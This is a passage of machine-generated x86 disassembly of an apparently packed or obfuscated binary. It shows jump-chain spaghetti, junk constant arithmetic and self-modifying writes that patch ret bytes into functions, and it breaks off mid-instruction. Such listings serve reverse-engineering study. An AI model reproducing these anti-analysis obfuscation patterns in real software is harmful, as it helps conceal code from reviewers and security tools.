; FUNCTION CHUNK AT 0044E1A4 SIZE 00000019 BYTES call sub_43CA1A push edi mov edi, ebx call sub_44D534 loc_43D5A7: ; CODE XREF: y22d6.y.:00448508j jmp loc_44E1A4 sub_43D59A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E242 loc_43D5AC: ; CODE XREF: sub_44E242-125B7j jmp sub_43F7FF ; END OF FUNCTION CHUNK FOR sub_44E242 ; --------------------------------------------------------------------------- or ebp, edx jmp sub_44DB3E ; --------------------------------------------------------------------------- loc_43D5B8: ; CODE XREF: y22d6.y.:0043E29Cj rol ebp, 17h ; =============== S U B R O U T I N E ======================================= sub_43D5BB proc near ; CODE XREF: sub_44A491:loc_44A494p ; FUNCTION CHUNK AT 0043A98D SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0043C415 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044D898 SIZE 00000006 BYTES xchg ecx, [esp+0] pop ecx push ebx jmp loc_43C415 sub_43D5BB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_43D5C5: ; CODE XREF: sub_44B17B:loc_439154j push offset loc_43CF4B jmp loc_44BD96 ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7B5 loc_43D5CF: ; CODE XREF: sub_43B7B5+12j jz loc_44CBDD jmp loc_43E004 ; END OF FUNCTION CHUNK FOR sub_43B7B5 ; --------------------------------------------------------------------------- loc_43D5DA: ; CODE XREF: y22d6.y.:0044C7A3j jnz loc_43E1DB jmp loc_44E11F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44633F loc_43D5E5: ; CODE XREF: sub_44633F+5E97j jz loc_4422D0 jmp loc_43A40C ; END OF FUNCTION CHUNK FOR sub_44633F ; --------------------------------------------------------------------------- loc_43D5F0: ; CODE XREF: y22d6.y.:loc_43BA8Aj lea eax, sub_43923C mov byte ptr [eax], 0C3h jmp loc_43A407 ; =============== S U B R O U T I N E ======================================= sub_43D5FE proc near ; CODE XREF: sub_41884B:loc_41889Fp ; sub_4188C8:loc_418920p ... ; FUNCTION CHUNK AT 0044394F SIZE 00000005 BYTES push offset sub_446F34 jmp loc_44394F sub_43D5FE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C758 loc_43D608: ; CODE XREF: sub_44C758+4j mov eax, ebx loc_43D60A: ; CODE XREF: sub_43EC1C+3011j xchg eax, [esp+4+var_4] mov ebx, ecx xchg ebx, [esp+4+var_4] jmp loc_444F6F ; END OF FUNCTION CHUNK FOR sub_44C758 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D6D0 loc_43D617: ; CODE XREF: y22d6.y.:0044178Bj ; sub_44D6D0-1B32j jb loc_44D3FB cmp edi, edx jmp loc_4414F7 ; END OF FUNCTION CHUNK FOR sub_44D6D0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CBF3 loc_43D624: ; CODE XREF: sub_43CBF3+7j or ebx, 1B49C33Ch add ebx, 0A0F8E0BAh xchg ebx, [esp+4+var_4] jmp loc_43AE86 ; END OF FUNCTION CHUNK FOR sub_43CBF3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_156. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438A94 loc_43D639: ; CODE XREF: sub_438A94+F1BFj jmp loc_448061 ; END OF FUNCTION CHUNK FOR sub_438A94 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43D63E: ; CODE XREF: sub_448EB6:loc_4413FCj pop edx pop eax mov ds:dword_444568, edx loc_43D646: ; CODE XREF: y22d6.y.:00444EC0j ; y22d6.y.:00446EF5j xchg eax, edx call sub_44D293 jmp loc_4407D7 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_95. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BF91 loc_43D652: ; CODE XREF: sub_44BF91-3A2Aj jmp loc_437A93 ; END OF FUNCTION CHUNK FOR sub_44BF91 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D7E0 loc_43D657: ; CODE XREF: sub_44D7E0-5D42j jmp loc_44B67C ; END OF FUNCTION CHUNK FOR sub_44D7E0 ; =============== S U B R O U T I N E ======================================= sub_43D65C proc near ; CODE XREF: sub_43B98D:loc_43BF51p ; y22d6.y.:0043D3F2j xchg edi, [esp+0] pop edi mov eax, [ebp-4] movzx eax, byte ptr [eax] push offset loc_44CF2B jmp nullsub_28 sub_43D65C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_43D670: ; CODE XREF: sub_44057E-2DA9j and esi, 38ED30EBh xor esi, 0FD3A94BFh add esi, ebp add esi, 26C4B73h mov [esi], eax pop esi call sub_44B1D2 loc_43D68C: ; CODE XREF: sub_44A9F2+Aj jmp loc_44DC55 ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437B01 loc_43D691: ; CODE XREF: sub_437B01+8682j jge loc_449171 loc_43D697: ; CODE XREF: sub_437B01:loc_4381F6j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_4397DE jmp loc_447F44 ; END OF FUNCTION CHUNK FOR sub_437B01 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_261. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F501 loc_43D6A9: ; CODE XREF: sub_43F501:loc_4451E3j pop edx retn ; END OF FUNCTION CHUNK FOR sub_43F501 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E1BD loc_43D6AB: ; CODE XREF: sub_44E1BD-1303Fj jmp nullsub_268 ; END OF FUNCTION CHUNK FOR sub_44E1BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D371 loc_43D6B0: ; CODE XREF: y22d6.y.:00442604j ; sub_44D371+8j rol eax, 0Eh push ecx mov ecx, eax jmp loc_4398D8 ; END OF FUNCTION CHUNK FOR sub_44D371 ; --------------------------------------------------------------------------- loc_43D6BB: ; CODE XREF: y22d6.y.:loc_43DD6Dj add ecx, 9A5AC4h push offset sub_444437 jmp loc_4494DC ; --------------------------------------------------------------------------- loc_43D6CB: ; CODE XREF: y22d6.y.:loc_44D4F2j jnz loc_444063 jmp loc_44BA59 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439051 loc_43D6D6: ; CODE XREF: sub_439051+C92Dj jle loc_445080 loc_43D6DC: ; CODE XREF: sub_439051:loc_43DCB5j mov eax, 0DD70DD34h call sub_43F7FF rol eax, 19h push esi push 5B4EED2Eh pop esi or esi, 947591B8h jmp loc_4488CD ; END OF FUNCTION CHUNK FOR sub_439051 ; --------------------------------------------------------------------------- and edi, ecx jmp loc_4433F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449641 loc_43D702: ; CODE XREF: sub_449641:loc_446199j jnb loc_43FB62 jns loc_43D40A or edx, ebp sbb ecx, esi mov edi, 4343745h loc_43D717: ; CODE XREF: y22d6.y.:loc_442DA0j jmp loc_448917 ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_446082 loc_43D71C: ; CODE XREF: sub_446082:loc_438664j sub ecx, 0D7880499h jp loc_443063 mov ebp, 0DCB3006Bh jmp loc_43BE57 ; END OF FUNCTION CHUNK FOR sub_446082 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_43D732: ; CODE XREF: sub_44B17B:loc_4400D0j lea eax, nullsub_3 mov byte ptr [eax], 0C3h jmp loc_43BA8F ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- call nullsub_16 jmp ds:dword_41E154 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CBF3 loc_43D74B: ; CODE XREF: sub_43CBF3+DB40j jmp loc_44ACCD ; END OF FUNCTION CHUNK FOR sub_43CBF3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4482CF loc_43D750: ; CODE XREF: sub_4482CF+Cj jmp loc_44A505 ; END OF FUNCTION CHUNK FOR sub_4482CF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_443CB9 loc_43D755: ; CODE XREF: sub_443CB9+18j jmp sub_43923C ; END OF FUNCTION CHUNK FOR sub_443CB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A5AA loc_43D75A: ; CODE XREF: sub_43A5AA+12j jmp nullsub_322 ; END OF FUNCTION CHUNK FOR sub_43A5AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44371A loc_43D75F: ; CODE XREF: sub_44371A-92BFj push eax loc_43D760: ; CODE XREF: sub_44370B:loc_44BA54j ror eax, 0Eh mov ds:dword_444B90, eax retn ; END OF FUNCTION CHUNK FOR sub_44371A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_43D76A: ; CODE XREF: sub_44271A-B3Cj jmp loc_44AC93 ; END OF FUNCTION CHUNK FOR sub_44271A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44371A loc_43D76F: ; CODE XREF: sub_44371A+24B6j ; sub_44DA4B-1E18j rol eax, 0Eh jmp loc_438031 ; END OF FUNCTION CHUNK FOR sub_44371A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43AD3D loc_43D777: ; CODE XREF: sub_43AD3D:loc_43E897j mov [edx], eax pop edx mov eax, [ebp-4] call sub_440280 ; END OF FUNCTION CHUNK FOR sub_43AD3D ; START OF FUNCTION CHUNK FOR sub_448C77 loc_43D782: ; CODE XREF: sub_448C77+1D9Dj jmp loc_44D9A7 ; END OF FUNCTION CHUNK FOR sub_448C77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449641 loc_43D787: ; CODE XREF: sub_449641-648Fj jmp loc_446193 ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FCB6 loc_43D78C: ; CODE XREF: sub_43FCB6+13j jmp nullsub_86 ; END OF FUNCTION CHUNK FOR sub_43FCB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43AD64 loc_43D791: ; CODE XREF: sub_43AD64-24F5j jmp nullsub_83 ; END OF FUNCTION CHUNK FOR sub_43AD64 ; =============== S U B R O U T I N E ======================================= sub_43D796 proc near ; CODE XREF: sub_446082-DA23p ; y22d6.y.:004495C3j arg_0 = dword ptr 4 xchg edx, [esp+0] pop edx xchg ebx, [esp-4+arg_0] mov ebp, ebx pop ebx jmp nullsub_29 sub_43D796 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_43D7A5: ; CODE XREF: y22d6.y.:0044C182j jb loc_44089E ; =============== S U B R O U T I N E ======================================= sub_43D7AB proc near ; CODE XREF: sub_44ABAA-AAF6p ; FUNCTION CHUNK AT 00439C72 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi mov [ebp-4], eax mov eax, [ebp-4] push offset loc_437633 jmp loc_439C72 sub_43D7AB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_43D7BF: ; CODE XREF: sub_44057E:loc_441802j mov eax, [ebp-28h] push esi push 0EB9D9BE8h pop esi add esi, 82DA3FD8h sub esi, 68CBEDF2h jmp loc_43D670 ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4410E0 loc_43D7DA: ; CODE XREF: sub_4410E0:loc_43CAE2j add ebx, ebp add ebx, 0A7C3D03Fh mov [ebx], eax pop ebx jmp loc_444A5B ; END OF FUNCTION CHUNK FOR sub_4410E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_43D7EA: ; CODE XREF: sub_44B17B+19Fj jnp loc_43E755 jl loc_440A43 jmp loc_442058 ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E14E loc_43D7FB: ; CODE XREF: sub_44E14E:loc_43AD0Ej ; sub_44E14E-865j push 1388h push edi push 3CF60D3h pop edi add edi, 2A0E38F5h jmp loc_448BEC ; END OF FUNCTION CHUNK FOR sub_44E14E ; --------------------------------------------------------------------------- loc_43D812: ; DATA XREF: y22d6.y.:00440707o pop esi loc_43D813: ; CODE XREF: y22d6.y.:loc_43F178j push offset loc_442E9B jmp loc_43B0C5 ; --------------------------------------------------------------------------- loc_43D81D: ; CODE XREF: y22d6.y.:0043C227j js loc_442044 mov edx, 0CAB67AFCh ; START OF FUNCTION CHUNK FOR sub_4499F4 loc_43D828: ; CODE XREF: sub_4499F4:loc_43C214j add edx, 97B227F0h mov edx, [edx] call sub_4482CF ; END OF FUNCTION CHUNK FOR sub_4499F4 ; START OF FUNCTION CHUNK FOR sub_4383E0 loc_43D835: ; CODE XREF: sub_4383E0:loc_44E1F7j push edi push offset sub_44CEE1 jmp loc_43E9A6 ; END OF FUNCTION CHUNK FOR sub_4383E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B035 loc_43D840: ; CODE XREF: sub_43B035:loc_43E487j xor eax, 5BB181D9h jmp loc_43FB36 ; END OF FUNCTION CHUNK FOR sub_43B035 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E33C loc_43D84B: ; CODE XREF: sub_44E33Cj call sub_43B7B5 loc_43D850: ; CODE XREF: y22d6.y.:0044B6D3j jmp nullsub_276 ; END OF FUNCTION CHUNK FOR sub_44E33C ; --------------------------------------------------------------------------- loc_43D855: ; CODE XREF: y22d6.y.:00447047j jmp loc_4423CE ; --------------------------------------------------------------------------- loc_43D85A: ; DATA XREF: y22d6.y.:loc_442DF5o xor eax, 0C14FE91Eh call sub_43CA1A mov ds:dword_41E148, eax lea eax, nullsub_331 mov byte ptr [eax], 0C3h jmp loc_4394A7 ; --------------------------------------------------------------------------- xchg ebp, [esp] sbb edx, 0BB22189Ch jmp loc_43A5A0 ; --------------------------------------------------------------------------- loc_43D887: ; CODE XREF: y22d6.y.:0043A6C6j ror ecx, 9 and ebx, 0FD392E6Ah jmp loc_44B730 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_71. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B252 loc_43D896: ; CODE XREF: sub_43B252+130BCj jmp loc_44D60F ; END OF FUNCTION CHUNK FOR sub_43B252 ; --------------------------------------------------------------------------- loc_43D89B: ; CODE XREF: y22d6.y.:0044C131j jmp loc_43F90F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_446222 loc_43D8A0: ; CODE XREF: sub_446222+Fj jmp loc_445AAC ; END OF FUNCTION CHUNK FOR sub_446222 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439051 loc_43D8A5: ; CODE XREF: sub_439051+C042j jmp loc_443C0A ; END OF FUNCTION CHUNK FOR sub_439051 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F501 loc_43D8AA: ; CODE XREF: sub_43F501:loc_445F03j call sub_44D293 push eax jmp loc_443E32 ; END OF FUNCTION CHUNK FOR sub_43F501 ; =============== S U B R O U T I N E ======================================= sub_43D8B5 proc near ; CODE XREF: sub_442592j push ebp push offset loc_44E36C jmp nullsub_58 sub_43D8B5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437901 loc_43D8C0: ; CODE XREF: sub_437901+Dj pop ecx and ecx, ds:4000EAh add ecx, 0CF2D3242h rol ecx, 2 xor ecx, 30E7FD7Bh xor eax, ecx pop ecx jmp loc_448169 ; END OF FUNCTION CHUNK FOR sub_437901 ; --------------------------------------------------------------------------- loc_43D8DE: ; CODE XREF: y22d6.y.:0043F702j mov [esi], edi ; =============== S U B R O U T I N E ======================================= sub_43D8E0 proc near ; CODE XREF: y22d6.y.:00444BFFp ; FUNCTION CHUNK AT 0043E2AD SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx add esi, 0C044AE53h push offset loc_448989 jmp loc_43E2AD sub_43D8E0 endp ; --------------------------------------------------------------------------- loc_43D8F4: ; CODE XREF: y22d6.y.:loc_4405D4j ; y22d6.y.:0044073Aj push ebx mov ebx, eax xchg ebx, [esp] lea eax, dword_4483B4 push ecx push eax pop ecx xchg ecx, [esp] jmp loc_445B8B ; --------------------------------------------------------------------------- loc_43D90B: ; CODE XREF: y22d6.y.:0044C8BAj and edi, 5A41E12Bh add edi, 33B48B3Bh rol edi, 7 add edi, 79257538h add eax, edi pop edi ror eax, 2 jmp loc_43A859 ; --------------------------------------------------------------------------- loc_43D92B: ; DATA XREF: y22d6.y.:loc_4449F0o jmp loc_440777 ; --------------------------------------------------------------------------- push 8EC1D677h pop eax add eax, 26C4F121h xor eax, ds:4000EBh rol eax, 0Ch xor eax, 0F64A0248h jmp loc_449E98 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_234. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C6D7 loc_43D951: ; CODE XREF: sub_43C6D7-FDAj jmp loc_44E252 ; END OF FUNCTION CHUNK FOR sub_43C6D7 ; --------------------------------------------------------------------------- and ecx, edi jmp loc_4493CD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_21. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_43D95E: ; CODE XREF: y22d6.y.:00437338j xor edi, 74E744Fh xchg edi, [esp] push ecx pushf push 590DC3B2h jmp loc_43D505 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441AE7 loc_43D973: ; CODE XREF: sub_441AE7:loc_44DE99j pop ecx rol eax, 8 jmp loc_4418F1 ; END OF FUNCTION CHUNK FOR sub_441AE7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44439D loc_43D97C: ; CODE XREF: sub_44439Dj mov eax, ds:dword_437620 or eax, eax jnz loc_446464 jmp loc_440667 ; END OF FUNCTION CHUNK FOR sub_44439D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_271. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BA8D loc_43D990: ; CODE XREF: sub_44BA8D+10j jmp nullsub_186 ; END OF FUNCTION CHUNK FOR sub_44BA8D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_146. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440494 loc_43D996: ; CODE XREF: sub_440494+3D05j jp loc_43E020 jmp loc_44CF6A ; END OF FUNCTION CHUNK FOR sub_440494 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4404E5 loc_43D9A1: ; CODE XREF: sub_4404E5:loc_4384D1j xor esi, 50D1AC53h or esi, 2671FDFDh rol esi, 1Fh and esi, 0C4530365h add esi, 4032192Bh popf xchg esi, [esp-4+arg_0] jmp loc_44810C ; END OF FUNCTION CHUNK FOR sub_4404E5 ; --------------------------------------------------------------------------- loc_43D9C5: ; CODE XREF: y22d6.y.:004463F0j add esi, ebx ; =============== S U B R O U T I N E ======================================= sub_43D9C7 proc near ; CODE XREF: sub_444E14+E72p ; FUNCTION CHUNK AT 00439E79 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D063 SIZE 0000000F BYTES xchg ebx, [esp+0] pop ebx mov [ecx], eax jmp loc_43D063 sub_43D9C7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43D9D2 proc near ; CODE XREF: sub_4408F2-72CFp ; y22d6.y.:00440DC7j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00439E72 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0043A0BA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00441330 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00444613 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx xor edx, edx loc_43D9D8: ; CODE XREF: sub_4444B1+9j push edx push eax mov eax, [ebp-18h] add eax, eax cdq jmp loc_43A0BA sub_43D9D2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43D9E5 proc near ; DATA XREF: y22d6.y.:004440BEo push eax ror eax, 3 mov ds:dword_441968, eax retn sub_43D9E5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_443EA2 loc_43D9F0: ; CODE XREF: sub_443EA2-C525j ; y22d6.y.:004440A9j rol eax, 3 jmp loc_437BC8 ; END OF FUNCTION CHUNK FOR sub_443EA2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_350. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43D9F9: ; CODE XREF: sub_4432B8-797Aj jmp loc_437549 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DF1F loc_43D9FE: ; CODE XREF: sub_43DF1F-5CC2j jmp sub_44D088 ; END OF FUNCTION CHUNK FOR sub_43DF1F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FBC3 loc_43DA03: ; CODE XREF: sub_43FBC3:loc_441298j pop edi mov eax, [esp-4+arg_0] push edx call sub_442AFF mov eax, 0C0F1A028h call sub_43CA1A push ebx jmp loc_44CF9F ; END OF FUNCTION CHUNK FOR sub_43FBC3 ; --------------------------------------------------------------------------- loc_43DA1D: ; CODE XREF: y22d6.y.:loc_43CE9Ej call sub_448E18 call sub_44A53A ; START OF FUNCTION CHUNK FOR sub_43C694 loc_43DA27: ; CODE XREF: sub_43C694+B641j jz loc_43FE21 loc_43DA2D: ; CODE XREF: sub_44B1D2-F8B8j jmp loc_43949B ; END OF FUNCTION CHUNK FOR sub_43C694 ; --------------------------------------------------------------------------- xchg eax, [edi] cmp edi, ebp jmp loc_44D7A8 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449CFC loc_43DA3C: ; CODE XREF: sub_449CFC+4j xor eax, 0E2EB2F0Ah mov edx, [esp+0] push eax mov eax, edx jmp sub_44CC9B ; END OF FUNCTION CHUNK FOR sub_449CFC ; --------------------------------------------------------------------------- loc_43DA4D: ; CODE XREF: y22d6.y.:0044874Aj push eax mov eax, edx xchg eax, [esp] call sub_4441D9 ; START OF FUNCTION CHUNK FOR sub_442C0C loc_43DA58: ; CODE XREF: sub_442C0C-130Dj jmp nullsub_137 ; END OF FUNCTION CHUNK FOR sub_442C0C ; =============== S U B R O U T I N E ======================================= sub_43DA5D proc near ; CODE XREF: sub_43E196:loc_43E1A5j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043C317 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00446DC9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00448C8B SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0044E2D1 SIZE 00000007 BYTES push ebx push 5AFE86F2h pop ebx sub ebx, 46E143DBh xor ebx, 0B2D26BCh jmp loc_446DC9 sub_43DA5D endp ; sp-analysis failed ; --------------------------------------------------------------------------- push edx jmp loc_43788E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44731A loc_43DA7B: ; CODE XREF: sub_44731A+Dj mov [ebp-1Ch], eax mov dword ptr [ebp-18h], 0 loc_43DA85: ; CODE XREF: sub_43EFB1-448Bj mov eax, [ebp-4] push offset loc_443443 jmp loc_43E37A ; END OF FUNCTION CHUNK FOR sub_44731A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441453 loc_43DA92: ; CODE XREF: sub_441453+5j jmp ds:off_41E0C0 ; END OF FUNCTION CHUNK FOR sub_441453 ; =============== S U B R O U T I N E ======================================= sub_43DA98 proc near ; CODE XREF: y22d6.y.:0043963Cj ; sub_44DB4F-1320Fj ... ; FUNCTION CHUNK AT 004494BE SIZE 00000005 BYTES push offset byte_43843B jmp loc_4494BE sub_43DA98 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C55B loc_43DAA2: ; CODE XREF: sub_43C55B:loc_448657j mov ds:off_41E02C, eax lea eax, sub_4464C8 call sub_43B489 cmp ecx, eax jmp loc_445781 ; END OF FUNCTION CHUNK FOR sub_43C55B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_279. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_43DABB proc near ; CODE XREF: y22d6.y.:0043F1B2p ; y22d6.y.:00444632j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004396D4 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi add ebx, 77FEAD24h xchg ebx, [esp-4+arg_0] jmp loc_4396D4 sub_43DABB endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_262. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447940 loc_43DACE: ; CODE XREF: sub_447940+9j jmp loc_447AD9 ; END OF FUNCTION CHUNK FOR sub_447940 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43DAD3: ; CODE XREF: sub_448EB6-7A68j jmp sub_44D73B ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- locret_43DAD8: ; CODE XREF: y22d6.y.:0043B96Ej retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440494 loc_43DAD9: ; CODE XREF: sub_440494+DFA8j jmp loc_442ED3 ; END OF FUNCTION CHUNK FOR sub_440494 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4384B4 loc_43DADE: ; CODE XREF: sub_4384B4+Aj push edx call sub_438E86 push 0C09AEB57h pop eax or eax, 65FEE80Ah jmp loc_445431 ; END OF FUNCTION CHUNK FOR sub_4384B4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438A6F loc_43DAF5: ; CODE XREF: sub_438A6F:loc_44B612j jno loc_44D5C2 add esp, 8 mov eax, [eax] push ebx push 31D4A12Ch jmp loc_43BF36 ; END OF FUNCTION CHUNK FOR sub_438A6F ; --------------------------------------------------------------------------- loc_43DB0B: ; CODE XREF: y22d6.y.:0043CF86j mov byte ptr [eax], 0C3h jmp loc_44C09E ; =============== S U B R O U T I N E ======================================= sub_43DB13 proc near ; CODE XREF: sub_401000+1B2p ; sub_401000+1E6p ... call sub_43DB23 jmp ds:off_41E0E8 sub_43DB13 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B11C loc_43DB1E: ; CODE XREF: sub_43B11C+14j jmp nullsub_30 ; END OF FUNCTION CHUNK FOR sub_43B11C ; =============== S U B R O U T I N E ======================================= sub_43DB23 proc near ; CODE XREF: sub_43C74D+Ej sub_43DB13p ... var_8 = dword ptr -8 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00438FF1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004392C6 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0043A559 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0044771E SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0044C3D2 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0044E0A3 SIZE 00000008 BYTES xchg edi, [esp+8+var_8] jmp loc_44C3D2 sub_43DB23 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449641 loc_43DB2B: ; CODE XREF: sub_449641:loc_44B4C1j pop ebx rol ebx, 13h xor ebx, 4164480h test ebx, 4 jmp loc_43E394 ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44633F loc_43DB40: ; CODE XREF: sub_44633F+5A4Cj jg loc_443B68 sbb esi, ebp adc edi, ebp jmp loc_43A651 ; END OF FUNCTION CHUNK FOR sub_44633F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441C69 loc_43DB4F: ; CODE XREF: sub_441C69+4j mov esi, ecx xchg esi, [esp+0] push ecx push 0FFC03303h pop ecx and ecx, 1AF25F1Bh jmp loc_4373E9 ; END OF FUNCTION CHUNK FOR sub_441C69 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E5C7 loc_43DB66: ; CODE XREF: sub_44E5C7-1143j jz loc_44C761 jmp loc_438934 ; END OF FUNCTION CHUNK FOR sub_44E5C7 ; --------------------------------------------------------------------------- loc_43DB71: ; DATA XREF: sub_44C59C-74EDo push 1C58E248h pop edx or edx, 8AC9295Dh and edx, 1A564B85h jmp loc_444F55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43DB88: ; CODE XREF: sub_448EB6-1187j push ecx mov ecx, edi xchg ecx, [esp-4+arg_0] mov edi, edx xchg 